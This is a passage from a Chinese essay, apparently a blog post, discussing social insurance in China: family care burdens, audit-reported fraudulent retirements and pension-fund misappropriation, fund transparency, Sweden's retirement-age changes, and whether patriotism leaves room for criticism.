个人习惯影响风险，却不能把疾病完整解释成品行。倡导预防可以做，核查不合理支出也可以做，二者都不要求把患者先划成值得帮助和应当独自承受的两类。</p><p>寻求帮助时怎样受到对待，也值得讨论。规则明白、解释耐心、拒绝时给出理由，会使人知道自己在依法获得权益。若同一项服务让人觉得必须低声下气、找人说情，纸面待遇再清楚，也会被实际办理中的不确定性削弱。</p><p>商业保险、储蓄和家庭安排，可以成为部分人的补充选择。可对没有足够余钱的人，“自己再买一份”并不是普遍可行的答案。讨论多层次保障，首先还是要问基本的一层能承担什么。上面的选择再丰富，也不能自动补上最缺支付能力的人面对的缺口。</p><h2 id="">家庭接住了什么</h2><p>有些负担在公共账本里看不见，却没有消失。已经参加共同筹资的人，遇到疾病、年老或收入中断，仍可能需要家庭承担费用和照料。评价保障，只统计基金花了多少，容易漏掉风险转移以后的去向。</p><p>可以设想，原本用于改善生活的积蓄被一场变故用掉，家中有人需要照料，另一人的工作也受影响。公共支出可能没有增加，家庭的债务、时间支出和收入损失却增加了。讲成本时，把企业缴费与基金支出算得很细，却不看家庭这一部分，得出的节省就可能只是账本之间的移动。</p><p>照料特别容易被当作免费。亲人愿意帮忙，是感情；缺少其他选择，必须由一个人长期退出工作，则涉及他的生活。收入、休息、健康和以后的保障，都可能随之变化。一个家庭暂时把事情接住，不代表代价可以无限延续。</p><p>家庭内部也未必有相同的协商能力。谁离开岗位、谁承担夜里的照顾，不能总用“自己商量”带过。郭教授在问答里强调家庭情况各有不同，这个提醒放在这里也适用：要看具体处境，也要看每个人的意愿，尤其是付出较多的那个人有没有被认真对待。</p><p>我不想轻看孝顺、责任和亲情。恰恰因为这些关系重要，公共服务才更应该减少其中的透支。亲人相互照顾，与获得外部帮助可以并存。让照料不必总和辞职、债务及埋怨相连，也是在保护家庭能够长久互相支持的条件。</p><p>还要看到没有充分家庭支持的人。有人独自生活，有人的亲人同样年老、患病或经济困难。讨论保障若总预设背后还有一个能够补齐全部缺口的家庭，就会漏掉他们。家庭可以提供帮助，但公共制度面对的也包括那些实在无处借力的人。</p><h2 id="">异常退休，要追到审批的人</h2><p>一边有人自己承担大量风险，另一边，异常待遇又可能通过审批。二者不能简单相抵，更不能以为查出违规就能解决全部保障缺口；但公共资金怎样发出去，确实关系到大家为什么愿意继续参与。</p><p>“十八岁退休”的说法，我没有找到可确认的对应案例。年龄、原因和待遇类型都需要原始材料，不能仅凭转发就作结论。可审计署报告中能够核实的一例，已经足够让人追问。</p><p>山西蒲县疾控中心一名职工的人事档案有14处涂改，“1岁工作、22岁退休”仍层层过审后“退休”，累计领取养老金69万元，同时又在新单位工作取酬。[9] 这是报告披露的异常档案与违规领取，不是什么合法的十八岁退休政策，也不能拿来指责全部提前退出岗位的人。</p><p>这件事让我不安的，不只是领走了多少钱。一岁工作这样的时间冲突，为什么能进入产生真实支付的程序？工作经历需要登记，年限与条件需要认定，待遇需要核定，之后还要持续发放。报告既然写了层层过审，就应当沿着这些关口查明责任。</p><p>具体到本案，谁主管哪一项、当时经过什么流程，必须查适用规定和卷宗。公众能够要求的，是调查把这些事情交代出来：档案由谁形成和保管，何人更改，怎样确认年限和退休条件，谁复核待遇，支付依据如何进入系统，后来又为何长期未被发现。只公布领取者受到什么处理，解释不了审核为什么失效。</p><p>提供虚假材料的人应承担责任，违规审核、干预决定或提供便利的人，也要按证据追究。个人写出一份异常履历，与组织程序允许它转化成养老金支付，之间有需要查明的行为。若最后只有申请人负责，能够批准虚假材料的机制就未必受到影响。</p><p>同一份审计材料还披露，25省2.83万名职工通过虚假病历、篡改档案提前退休等方式，违规领取养老待遇5.19亿元，并举出中介行贿、在材料审核和劳动仲裁等环节造假的案例。[9] 这些发现限于审计范围，不足以推算全国违法比例，却说明手续多并不自动带来审核有效。</p><p>假如后一关只承认前一关的签字，每一关又都只负责自己那一步，材料就可能经过许多人，关键矛盾却没有被核实。这是一种应当防范的机制风险，不能冒充本案已经查明的事实。调查应当检验实际责任怎样划分，究竟哪一步应该核实、实际做了什么。</p><p>长期支付也需要后续核查。身份、死亡信息、重复领取、异常补录以及关键日期冲突，可以在法律和授权范围内交叉比对，触发人工复核。审核意见、修改记录和放行理由应当可追溯。系统能够提醒普通人少交几个月，也应当有能力识别可能导致多年错误支付的异常。</p><p>发现异常以后，还要通知、核实，允许申辩与纠错。录入差错或合法特殊安排都可能造成表面矛盾，不能让算法直接替代调查。监管结果应看错误支付是否减少、合法权益是否恢复，而非仅看停发多少人。</p><p>公众最后需要知道，事实查明了什么，责任怎样处理，资金追回多少，为防重演改了什么。仍在调查的部分可以说明进度，无关隐私应受保护。可保护隐私和调查需要，也不应使最后的公开答复只剩一句正在核查。审核怎样重新可信，需要用后续结果回答。</p><h2 id="">管住掌钱的人</h2><p>异常退休涉及谁有权决定发钱，基金挪用则涉及谁有权改变钱的去向。提高监管力度，不能只体现为向企业追缴、核查个人领取资格。掌握审批、保管和调拨权的人，同样需要受到可以核验的约束。</p><p>2025年的审计工作报告披露，重点审计25省相关基本养老保险基金4.14万亿元，发现各类问题金额601.61亿元。其中包括违规增加支出责任、挤占挪用、骗取套取等不同性质问题。[9] 这不是全国基金损失率，也不能统称为贪污额。分清性质后，仍有大量需要追问的责任。</p><p>报告指出，13省将406.26亿元城乡居民养老保险基金等挪用于“三保”支出、偿还政府债务等。[9] 这些是报告披露时的审计发现，不是今天尚未归还资金的估算。但它说明，专款专用的约束没有在相关决定作出时发挥应有作用。地方有财政困难，为什么能由原本用途明确的基金来承受？</p><p>把钱挪到另一项公共用途，听起来与私人拿走不同，却同样可能损害原定支付安排。公共用途之间发生冲突，更需要合法授权和预算程序。确实需要增加财力，应当说明支出责任和转移支付安排。若参保人在不知情时就被改变资金用途，他们得到的长期承诺也会变得不稳。</p><p>监督要管住这样的决定权。征收、资格认定、待遇核定、保管和支付授权之间，应形成实际制约。异常处理不能由同一个人决定，又由他自己批准；关键操作要留痕，例外放行要有依据，解除风险提示要经复核。把风险只理解成个人诚信不足，便会忽略权力和流程如何使错误成为可能。</p><p>上平台、接模型可以帮助检查，不能单凭这些证明管理已经改善。系统查什么风险，哪些账号能够绕过提示，谁为人工放行签字，日志由谁保存和检查，都需要规定。若风险提示可以随手解除，之后又没有理由可查，技术只是让同一种漏洞换了操作方式。</p><p>对历史档案与视同缴费认定，也可以按风险安排复查。年月不合常理、短期集中补录、证明来源异常集中，或某条经办链条反复出现疑点，都可成为线索。这些线索需要原始记录核实，不能直接等于违法结论。这样分配核查资源，才有可能既查出问题，又减少正常办理者反复证明自己的负担。</p><p>被监督的一方也不能独自评价整改。审计、财政监督、依法开展的人大监督和适当社会监督，应能看到相应材料与结果。个人病历和身份证资料不宜公开，公共资金的规则、规模、流向和责任则应依法接受检查。二者可以分别处理。</p><p>整改记账尤其需要准确。已经追回的钱、停止未来错误支付预计减少的支出、补发的应得待遇，以及新建的规则，分别说明各自进展。它们不能相互冒充。发现多少人、处理多少人、实际追回多少，也应当区分。文件发下去以后，哪些结果发生了，才是公众需要了解的部分。</p><p>同时，监管不能只奖励少发钱。符合条件却没拿到补贴、合法待遇迟迟办不成，也是需要纠正的错误。若考核只看查出多少违规支付，经办者可能更倾向拒绝和拖延。前面失地农民应补未补的问题，就提醒我们，监督既要查不该发的为什么发了，也要查应该发的为何没发。</p><p>举报与投诉也应有记录、时限和理由。发现干预审批，可以沿记录调查；被错误停发的人，也应有机会取得决定依据、提出复核。如果内部例外可以反复解释，外部当事人却连被拒的理由都看不到，规则再多也难以形成平等约束。</p><p>依法缴费的责任已经讲得很清楚，依法管理资金的责任应当同样具体。哪里越权、哪里失职，谁负责，怎样纠正，不能只靠一句加强管理带过。管理者愿意接受这样的检查，参与者才更有依据相信钱会按约定用途使用。</p><h2 id="">缴费的义务与兑现的责任</h2><p>对正常参与的人，还有另一种不踏实：交钱的时候，要求很明确；想到以后能得到什么，解释却未必同样清楚。要交多久，换工作怎样接，换地方生活有何影响，真正住院哪些能报，都是会影响个人安排的问题。它们不需要先被写成改革方案，才值得回答。</p><p>社保跨越许多年，规则也可能调整。社会保险有公共性质，并非一份条款永不变化的私人储蓄合同；但参与者今天持续付出，制度就应当说明未来调整的理由和过渡。不能只在需要缴费时要求他作长期打算，遇到待遇问题却让他到时再看。</p><p>谁决定调整，为什么必要，比较过哪些方案，受影响的人有多少准备时间，这些解释应当与决定一起出现。对临近某个节点的人，规则变化可能意味着原有计划需要重做。让人提前知道和理解，是长期安排能够维持信任的条件。</p><p>基金信息公开也有法律依据。《社会保险法》第七十条规定，经办机构应当定期公布参加社会保险情况，以及基金收入、支出、结余和收益情况。[2] 因而，询问钱从哪里来、花到哪里、怎样防止不当使用，本来就是参与者的正常关切。</p><p>公开还应当让材料读得懂。总额为何增加，收支包括什么，某项变化是暂时的还是长期的，都需要解释。专业材料要经得起核对，面向公众的说明也应使人能顺着查下去。若只有总额和陌生术语，信息虽已公布，普通人仍难判断它与自己有何关系。</p><p>经办决定发生争议时，同样要有办法追问。《社会保险法》第八十三条规定了相关行政复议、行政诉讼和争议处理途径。[2] 具体事项按适用规则办理，还应检查当事人能否知道理由、取得记录并及时纠错。渠道是否存在、当事人是否负担得起使用它的时间和费用，也要分别检查。</p><p>一份长期承诺的可信，既来自未来支付能力，也来自今天怎样对待一个具体疑问。缴费要求可以准确到每个人，解释和救济也应当尽力做到这一步。</p><p><img alt="现代公共服务大厅中，人们携带文件等候办理，工作人员在窗口解释手续。" src="https://ctexthuang.com/api/v3/objects/image/wdapfjdbuy12ao6sdm.png"/></p>
<h2 id="">财力有限，先保什么</h2><p>追问兑现责任，迟早会遇到财力问题。“国家来管”不会使钱无限增加，但钱有限以后怎样分配，仍有具体选择。哪些基本需要先满足，哪些补充安排可以调整，为什么某项支出保留下来、另一项还得等，都值得解释。</p><p>我无法凭几句话替公共预算重排次序，却可以要求次序有理由。如果改善最弱保障总被告知条件尚不具备，而其他支出很少进入比较，财力约束就显得只在某些人面前特别严格。严肃的预算讨论，应把能够比较的选择摆出来，而非只公布最后剩下多少。</p><p>这也影响怎样理解效率。一个项目发放方便、已有成熟经办，并不自然使它比另一种基本需要更优先；一项支出已经延续多年，也不能因此永远退出评估。调整既有承诺要慎重，但慎重应包含核算成本、说明影响和设计过渡，而非把议题留给下一次。</p><p>筹资同样不限于工资单。《社会保险法》第十一条规定，基本养老保险基金由用人单位和个人缴费以及政府补贴等组成。[2] 个人、单位与公共财政分别承担多少，讨论一方减负时另一部分怎样衔接，需要放在一起。否则，单看某笔缴费降了，未必知道成本最终去了哪里。</p><p>收入容易识别、人员容易组织，确实有利于执行。但责任不能只向最容易承担的一方集中。怎样按实际能力分担，怎样保护就业、支持基本生活，与征收是否方便是不同的判断。具体办法可以研究，比较这些办法所需的理由和数据却不应缺席。</p><p>基金持续运转、企业能够经营、家庭生活维持得下去，都关系到长期安排。三者之间有真实难处，不能靠换一个说法消除。只把其中一张账做好看，另外两张仍有缺口，压力还会回来。所谓可持续，至少应该包括这种相互影响。</p><h2 id="">瑞典的压力能说明什么</h2><p>另一个视频讲到瑞典开会的经历，说听到有人判断当地社会保障无法持续，再由此追问中国能否照搬。这一段很有冲击力，但转写没有会议时间、正式记录和具体发言者，不能拿它当瑞典政府对全部社保作出的正式结论。它提出的承受能力问题，倒值得顺着查。</p><p>瑞典养老金机构的说明更具体：预期寿命增加，养老积累要支付更长时间；其他条件不变，月度待遇会受影响，因此推荐退休年龄与预期寿命相联系。2026年5月更新的页面，将2026年至2031年的推荐退休年龄列为67岁；它不是一律强制退休的年龄，却影响相关待遇领取条件，具体还要分出生年份。[12]</p><p>这足以提醒我们，福利样板同样需要调整，延长工作和改变领取条件的代价会进入个人生活。比较待遇时，工作年限、筹资来源和规则变化不能省略。可一项养老参数调整，还不足以说明养老金、医疗、失业等全部保障都已崩溃。</p><p>该机构也介绍公共养老金、职业养老金和个人储蓄等制度组成及相关支付安排。[13] 介绍本身不能证明长期财务安全，却有助于辨认我们讨论的究竟是哪一部分。若只留下“瑞典都不行”，读者既看不到压力形成的机制，也看不到采取了什么应对。</p><p>从中可以提出的问题，是寿命、工资、就业、税收和服务成本变化时，原有承诺怎样调整。富裕国家承压，不会自动证明中国必然支撑不了；它仍在运行，也不证明中国可以照用相同参数。比较的作用，应是帮助检查条件，而不是替自己的判断提供一句便于传播的话。</p><p>中国需要算的是自己的账。人口规模之外，要看劳动和生产；经济总量之外，要看收入水平、财政责任和需要覆盖的人。人口多同时意味着需求规模大，也存在庞大的生产活动，究竟形成怎样的负担，要沿这些关系计算。</p><p>我赞同视频对承受能力的警觉，但现有安排不能全部归因于学习西方。单位依附、城乡差异、历史转轨与财政分担，都有本国制度路径。哪些承诺过高，哪些基本需要不足，应该沿着这些路径查。把问题一概说成外来模仿，反而可能使本来应由具体决策承担的责任失去对象。</p><h2 id="">中国的长期账，应该怎样算</h2><p>回到中国，我不愿意给一个脱离条件的“养得起”或“养不起”。持续提供基本保障，与维持每一种既有待遇、地方做法和新增承诺，需要的资源并不相同。把它们打包成一个庞然大物，再问整体能否保住，会遮住本来可以讨论的分配选择。</p><p>国家统计局2025年统计公报列出，年末参加基本养老保险107599万人，其中城镇职工基本养老保险54680万人、城乡居民基本养老保险52919万人。[14] 这是参保规模，不等于当年实际缴费人数，也不等于领取人数。规模说明涉及面广，不能独自回答支付能力。</p><p>同理，年龄结构与养老压力有关，也不能把某个年龄以上人口直接当成某种养老金领取人数。领取条件、就业状态、险种和缴费年限会造成差别。要看长期负担，需要把实际缴费者、领取者、平均缴费收入、待遇与财政补助联系起来。年轻人的总数，不是已经取得的缴费收入；老年人的总数，也不能直接代替全部支出责任。</p><p>收支结构应当分别说明。保费收入多少，财政补助多少，其他收入与各类待遇支出怎样变化，需要让人能够核对。财政补助本来就是公共保障的一部分，有补助不等于制度失败。但若把它并入总收入以后只说收支平衡，不再说明财政资金从哪里来，长期责任就仍有一段没有展开。</p><p>当期结余也只说明相应时期的结果。地区调剂、财政安排、资产和投资各有作用，但都有规模、期限和约束。一个地区一年紧张，未必说明全国马上无法支付；全国有结余，也不保证所有地方、几十年以后都没有压力。不同层次的信息应当互相补充。</p><p>更有意义的是公布不同假设下的结果。就业弱于预计、工资增长放缓、领取年限更长，资金安排会怎样变化；医疗部分则还要考虑成本变化。哪些假设对结果影响最大，偏离到什么程度需要调整，应当解释。预测允许有误差，但公众应该知道结论依赖什么。</p><p>还需要看到不利情形下的选择。收入不足时，是先查不当支出、调整补充待遇，还是增加个人负担、延后领取？财政还能怎样支持，低待遇者如何保护，过渡期怎样安排？选择之间有争论并不奇怪，可最好在要求普通人改变生活计划以前，就把比较过程说明白。</p><p>我对中国有信心，并不意味着相信资源约束会自行消失。将来可能取得的增长，不能直接充当今天任意增加承诺的依据。未来的年轻人，也不是随时可以追加义务的收入来源。国家能力要体现在真实生产、收入、预算和治理上，才能支持长期安排。</p><p>因此，基本保障与既有差异应分别审查。有限资源怎样优先支持缺少基本依靠的人，历史责任怎样由财政落实，哪些补充安排可以逐步调整，都是有待选择的部分。若最难触动的支出天然排在前面，剩下的钱才用于最薄弱的人，“钱有限”便只能解释总量，解释不了次序。</p><p>同样的检查也适用于管理能力。覆盖越广，异常支出可能影响的人与钱越多，权力边界越需要清楚。组织、技术和统一规则可以发挥作用，效果要看实际结果。如果增加征收很快，清理违规和追回挪用资金却总被解释为复杂，公众就有理由追问能力为何在不同方向上表现不一。</p><p>长期信任还需要持续更新。原来怎样预测，后来实际怎样，偏差来自什么，准备如何纠正，都应定期交代。一个愿意承认误差、及时改动安排的体系，比只重复安全结论的体系更容易得到理解。毕竟参与者也在按这些规则安排自己的几十年。</p><p>基于这些条件，我不能接受“结构无需调整，只要征缴更有效，承诺自然可靠”的推论。就业、分配和治理问题都在影响筹资。中国是否有能力长期提供基本保障，需要在改革中争取，也需要用资料检验；每一种既有安排是否应原样持续，则应分别给出理由。</p><p>我相信国家有能力处理这些问题，也期待它拿出实际结果。按什么标准保障，先照顾谁，哪些费用本来可以减少，判断失误由谁负责，都应该进入讨论。现行结构有问题，改革就应当检查和调整结构，不能只让公众在继续加码与放弃保障之间选择。</p><h2 id="">科技进步怎样进入普通生活</h2><p>另一个视频强调科技创新，我赞同社会需要创造新东西、改善生产。但普通人需要生活保障，并不会因此变成妨碍发展的理由。未来医药费与养老支出不明朗，一个人谨慎花钱、留些储蓄，有他的道理。稳定预期，既能使他安排生活，也可能使他有余地学习和尝试。</p><p>视频对消费的说法，我觉得也跨得太快。购买生活用品、接受必要服务，与脱离生产只顾挥霍，需要区分。企业改善产品和技术，也要有人愿意使用，才能取得收入。经济中这些关系应当具体研究，至少不能先把生活需要与生产进步切开，再让二者争谁更值得支持。</p><p>但保障人的生活，也不应只因为希望动员他消费。人有了稳定一点的预期，可以选择花钱，也可以储蓄、学习或照料家人。让他自己作安排，本身就有价值。若一面要求大家多花钱，一面又把未来风险全部交还个人，普通人仍然很难据此确定支出。</p><p>技术变化也会经过具体岗位。有人需要学习，有人转换工作，有人经历收入不稳。过渡怎样安排，关系到更多人能否参与，而非只在旁边害怕。一个人赞同技术进步，却担心自己暂时接不上，并不矛盾。仅说要适应时代，无法替他支付过渡期间的生活费用。</p><p>把这层关系放回筹资，效率提高也不自动等于原有缴费基础扩大。新增收入怎样分配，是否形成稳定劳动收入，公共财政怎样依法参与，以及哪些人承担转岗成本，都要研究。未来的生产能力是可能的支持条件，只有经过这些环节，才会成为实际可用于保障的资源。</p><p>因此，我更想问效率提高以后，增加的收入和节省的时间怎样进入生活。如果人依旧需要不断适应，却很难获得更稳定的收入与休息，对进步的认同也会受到消耗。社保与公共服务在这里有应当讨论的位置：怎样帮助人度过变化，怎样使发展得到的能力成为更多人实际可用的帮助。</p><h2 id="">思想解放也要面对既有安排</h2><p>谈到这里，再看另一个视频说的“思想解放”，我觉得它首先可以用来检查已经习惯的安排。工资缴费、身份分层、历史认定、财政分担和经办流程，都有形成背景。曾经适用，不保证永远适应新的工作方式和人口条件。</p><p>检查也应该朝向新主张。说旧办法不行，需要指出哪里不行；换一种办法，也要说明谁受益、谁承担代价。推倒旧答案以后，人还要继续生活。如果新主张只是把原来共同承担的风险退回个人，就需要解释这是否改善了问题，而不能仅凭新颖取得认同。</p><p>执行后的反馈同样属于改革。哪些人得到帮助，谁遇到新困难，预测与实际差在哪，偏差如何改，都应当继续跟踪。保障关系到人的基本安排，愿意根据结果修正，比坚持第一次判断必然正确更有用。</p><p>社会讨论很容易迷恋一句能解释一切的话：全是外部环境，全是个人不努力，或者全是某项成本太高。这样的归因让人很快知道该责怪谁，却常常省略几层实际联系。把多种原因分清，表达可能没那么痛快，责任反倒更容易找准。</p><p>所以，我期待的思想解放也要发生在有权决定的地方。个人已经反复被要求改变求职习惯、养老预期和生活计划，既有支出与管理权力也应接受相同的检查。国家能够继续改革的信心，应当体现在这些具体安排上。这使我又想到郭教授所说的国家与个人之间的联系。</p><h2 id="">国运怎样落到个人生活里</h2><p>“国运托个人运。”现在回头看这句话，我更在意的是它怎样发生。前面谈到的就业、待遇、历史责任和审核，正是共同条件进入个人生活的环节。如果只停在国家好、个人才会好，具体环节就很容易被略过。</p><p>个人努力需要环境。能够安稳劳动，约定能按规则履行，遇到困难有公共服务可用，这些条件不是一个人奋斗就能全部创造的。郭教授提醒人看见国家与个人的联系，我认同这一点。一个人取得成绩时，确实不应把周围已经存在的条件全部当作理所当然。</p><p>但这种联系还有另一面。普通人的日常劳动，也在维持社会的生产、服务和秩序，积累知识。个人为共同生活持续付出，制度认真对待他的付出，信任才有可能长久。谈国家托起个人，就应当同时看个人已经承担了什么，以及需要帮助时得到了什么。</p><p>我不愿把国运理解成听天由命。赶上好时候便自然受益，遇到困难就只能接受全部损失，那样一来，改革似乎也失去了作用。共同条件需要治理和劳动维持，人们怎样面对错误、怎样处理分配，会改变以后生活的条件。</p><p>演讲用历史线条给人信心，这份感染力我能够理解。具体道路仍有不确定，未来也需要今天的行动。若把以后会好当作暂时搁置困难的理由，恰恰会少做那些使以后更好的事。就业和保障的改进，应该是信心的一部分。</p><p>这也是为什么我反复关心收入中断、身份转换和年老患病。持续工作缴费时，个人与公共体系的关系比较容易说明；需要支持的时候，责任能否同样清楚，才更检验这份联系。国家发展积累的能力，要在这些时候成为实际回应。</p><p>总量与平均数帮助我们看整体，具体家庭却通过收入、支出和办事结果感受变化。中间隔着分配、服务与执行。追问这些环节，是为了知道发展怎样进入生活。一个人暂时没有感受到某项改善，不应因此被认定为故意忽视进步。</p><p>国家已经取得的成绩，也不需要靠否认他的困难来证明。与其先教育他应有怎样的眼界，不如查清他面对什么：是政策解释不明白，是求助没有结果，还是应得权益被遗漏。对这些事情作出回应，本身就能增加他对共同生活的理解和信任。</p><p>我相信中国有能力继续处理这些问题，也因此不愿让国家与个人的关系只停留在演讲里。组织资源、执行规则、纠正失误，都应当能在普通生活里找到对应的结果。那些结果未必热烈，却决定人能不能踏实相信一句长期承诺。</p><h2 id="">爱国为什么容得下质疑</h2><p>演讲里转述的那句“这是生养我的国家，我的根在这里”，我也记住了。</p><p>人与国家的联系，有语言、记忆、亲人朋友和熟悉的生活。希望它好，并不幼稚，也不需要每次用排名证明。若只有处处领先才值得珍惜，一项比较落后，感情就得跟着变。可人对家乡与语言的牵挂，通常没有这么机械。</p><p>正因为在意，我才不想轻轻放过社保的问题。退休差距、农民养老、就业中断和违规审批，都关系到共同生活的规则。把原因查明，调整不合理分配，追究失职，并没有使国家失去什么。一个愿意改正的国家，反而能让认同它的人更踏实。</p><p>国家很大，人们容易先想到总量、排名和远方的竞争。可如果谈这些满怀热情，面对普通人的难处却只剩不耐烦，感情就少了实际着落。郭教授讲公共力量，我也认为国家需要组织资源、处理共同困难的能力。既然拥有相应能力，就更该解释监管为何失守、应有支持为何没有到达。</p><p>个人权益也与公共秩序相连。程序公正、劳动所得得到合理保护、遇到争议有地方说理，使人愿意按共同规则生活。把询问一概当成妨碍大局，会消耗这种意愿。确实需要共同承担时，应说明理由、范围和期限，尤其要解释承担较多的人怎样得到照顾。</p><p>生活改善以后，希望规则更公平、办事更方便，并不难理解。人开始安排更长远的生活，要求也会变化。若每次提问都只能被提醒过去有多苦，发展成果就会变成不再提问的理由，这与继续改善生活的愿望并不相称。</p><p>郭教授有一段话，我愿意放在这里：</p><blockquote><p>有问题，我们分析它，解决它，改正它，就对了。</p></blockquote>
<p>先承认，再分析和改正，这个顺序很实在。一个人的批评是否成立，先看事实，而不该先检验他是否表达了足够的热爱。爱国可以成为认真改革的动力，但不能成为某项安排拒绝检查的依据。</p><p>这也适用于任何拿家国情怀说事的主体。假如一家企业回避应尽责任，或某个经办者敷衍自己负责的事务，说得再热烈，也仍需就具体行为作答。公共讨论里批评外国，同样不会自动证明他关心中国普通人的生活。说法是否可靠，事情办得怎样，都要看具体依据。</p><p>普通人也无需时时证明自己的意义。工作、照顾家人、读书散步，或者安静过一天，都是正当的愿望。若一切平凡需要都得先换算成对宏大目标的贡献，生活便会很紧。值得珍惜的共同生活，应当让这些愿望更容易实现。</p><p>郭教授把普通老师的志向落实到上课和写书，这层意思我更愿意听。一个人能做的有限，认真完成所负的责任，已经很具体。他说要“点一盏灯”，我理解为帮助人看清一些东西，之后仍由听者自己判断、自己走。若只剩重复老师的话，灯也就没有起到应有的作用。</p><p>他援引“为天地立心，为生民立命”，放回社保问题，我首先想到的是那些不擅长表达、没有显赫成绩，也未必与自己意见一致的人。他们怎样生活，需要在具体安排里受到重视。一个愿景把人写进去以后，仍要看这些人能不能实际得到帮助。</p><p>普通人未必能够提出完整办法，有时只能讲清一件难处，甚至只来得及抱怨。表达可能带着误解和情绪，需要核对，却不能因此全部作废。事实有错就解释纠正，真实缺口就继续处理。要求求助者先做到完美表达，最先被挡住的，往往是最缺少表达资源的人。</p><p>我更愿意据此判断批评是否有建设性：它有没有使事情更清楚，有没有指出值得调查或改动的地方。语气温和不保证有内容，话带情绪也可能说中问题。掌握资料与决定权的人，应承担较重的解释责任。普通人不必先写出一份方案，才有资格说哪条规则使自己为难。</p><p>所以，爱国并不要求将这些问题轻轻带过。谁来答复，能改什么，改后怎样检查，才是感情继续往下走的地方。有了这样的实际回应，关于共同未来的话也更容易得到相信。</p><h2 id="">“公知”这顶帽子遮住了什么</h2><p>沿着爱国与批评的关系，再看“公知”这个词，我会更谨慎。一个人指出社保待遇不公，或者追问异常审批，不能只凭这些话就被归进贬义称呼。事实和推理，需要先得到讨论。</p><p>这个词在不同人嘴里，指的也未必一样。有时用来批评脱离实际的表达，有时连认真研究公共事务的人也被装进去。知识多少、是否公开发言，与说法可靠不可靠，要分别判断。若靠称呼就能完成判断，讨论反而省掉了最需要的部分。</p><p>普通人不可能同时熟悉养老、医保、财政、人口、医学和法律，社会需要专业工作帮助理解。把依据交代明白，解释不同选择的代价，把容易被忽略的处境带出来，这样的表达有用。反感某些评论习惯，不该使我们连这类工作也一起轻看。</p><p>郭教授批评的那种习惯，我也反感：谈中国的问题，先把欧美当作现成标准，不问原来的制度靠什么条件维持；看到中国的问题，就把它解释成中国处处不行；看到外国的优点，又急着当作唯一答案。结论先有了，材料只是被拿来填进去。</p><p>这样使用普通人的难处，容易忘记困难本身。他的生活能不能改善、责任在什么地方，退到了证明某种立场后面。评论者可能骂得很重，却没有向任何具体安排提出可以查明的问题。</p><p>还有一种轻慢，把人的处境归成几句关于素质和性格的判断，仿佛遇到困难都是自己应得。如果问题都来自某个民族永远改不了的人性，公开规则、改善服务、纠正执行，好像也没有意义了。这个解释包办一切，同时取消了继续调查的必要。</p><p>拿社保来说，待遇需要改革，说明应当检查待遇形成方式；审批存在违规，就沿审批追责。它们不能推出中国人不值得获得更好保障，也不能证明国家没有纠错能力。全盘贬低看似严厉，却可能让真正掌握决定权的人躲进一个过大的结论里。</p><p>外国也不是一套整齐办法。筹资、服务和保障程度都应具体比较。“西方都这样”省掉重要差别，“外国也有问题”又可能省掉值得学习的部分。无论褒贬，讨论都得回到同一件事究竟怎样运行。</p><p>比如，名义待遇比例与家庭最终支出，单项服务方便与所有人实际可及，一个时间点表现与多年持续能力，都不是同一尺度。前面医保支付比例保留“住院费用目录内”，就是为了避免比较悄悄换了对象。条件没对齐，数字再醒目也可能把人带偏。</p><p>因此，我想批评的是这些说话的方法，而非凭“公知”两个字就判定一个群体。脱离实际、轻慢普通人、按预定立场挑选事实，都可以逐项指出。这样批评，比把专业知识和公共讨论一起打掉，更有可能保留真正有用的讨论。</p><h2 id="">学它，不是成为它</h2><p>郭教授说“学它，不是成为它”，又说“好的东西，对谁都学”。这两句放在一起，我觉得很合适。</p><p>学习需要弄懂一套办法为什么能运行，也包括它的成本、限制和不适用之处。之后再回到自己的问题，决定哪些可以借鉴，哪些需要调整。承认别人做得好，不会使我少一分对自己国家的感情；承认本国存在问题，也不必交出自己的判断。</p><p>反过来，一个办法也不必先证明完全来自本国，才有使用价值。规则是否公平、办事是否便利、需要多少成本、困难时能否提供帮助，都可以检查。来源值得研究，实际作用也得检验。自主最后应当增加处理问题的能力。</p><p>“国情”在这里应当带来更多说明。说某种安排不适合，就指出条件差在哪里，能否逐步创造，或者有没有别的路径达到相近目标。如果这个词一出现，讨论就结束，便很难知道到底是哪项条件构成限制。</p><p>同样，有些愿望不会因路径不同而失去意义。人希望付出有清楚规则，希望年老、生病时少些无助，希望得到公正对待。这些需要可以讨论怎样实现、先做什么、花多少资源，不必一开始就被叫作外来的奢求。</p><p>瑞典的例子也适合这样处理。不能只学待遇，不算条件；也不能发现压力，就当作拒绝一切保障改进的理由。学到的应当是如何认识风险、组织责任和调整承诺，最终仍要对中国自己的问题负责。</p><h2 id="">喜欢的观点，也得查证</h2><p>这套要求也应当用在我喜欢的观点上。演讲里那句“瞪大眼睛，独立思考”，总得实际用一用。喜欢一位老师，可以认真听，却不需要把每句话都收成结论；不认同另一种立场，也仍应承认其中说对的部分。</p><p>这两个视频就是如此。郭教授讲国家与个人，我愿意继续追问生活怎样被托住；另一个视频谈成本，我也要核实瑞典故事和中国的筹资条件。修正一个事实，不会使合理的质疑消失，反而能把质疑放在更可靠的依据上。</p><p>专业身份值得尊重，也有范围。经济判断需要相应分析，医学判断要有医学依据，历史判断不能只靠演讲感染力。哪怕表达者在某领域有深厚研究，换了问题，也仍需说明证据。</p><p>个案与总体同样需要区分。一件事真实发生，不足以描述全国，却足以要求处理这件事。宏观分析和具体求助可以同时进行。不能一会儿拿个案证明所有地方，一会儿又拿全国平均把个案打发掉。</p><p>我会特别看一个人怎样面对不利于自己观点的材料。他肯不肯改口，是否把限制条件也说出来。听起来痛快和说得有理，有时隔着这一步。批评别人按立场挑事实，轮到自己也得容得下不那么好看的信息。</p><p>因此，指出城乡待遇差距、研究财政责任、追查异常审批和解释失业统计，都应先核查说得准不准。事实扎实，批评完全可以尖锐。把它们一律称作唱衰，等于让需要改革的部分借国家认同免受检查。</p><p>看到就业困难就只劝年轻人降低期待，看到异常审批却先责怪公众情绪太大，也不能仅凭语气积极就算可靠。信用受损的原因需要调查，受影响的人没有义务先安静下来。反对脱离实际，便应让自己的表达也接近实际；反对轻慢普通人，就应认真听他们的难处。</p><p>我不希望批评“公知”以后，又形成另一种不问事实的习惯。愿意学习，愿意纠错，也愿意检查自己喜欢的说法，这些要求应当一并保留。立场不能替任何人完成这份工作。</p><h2 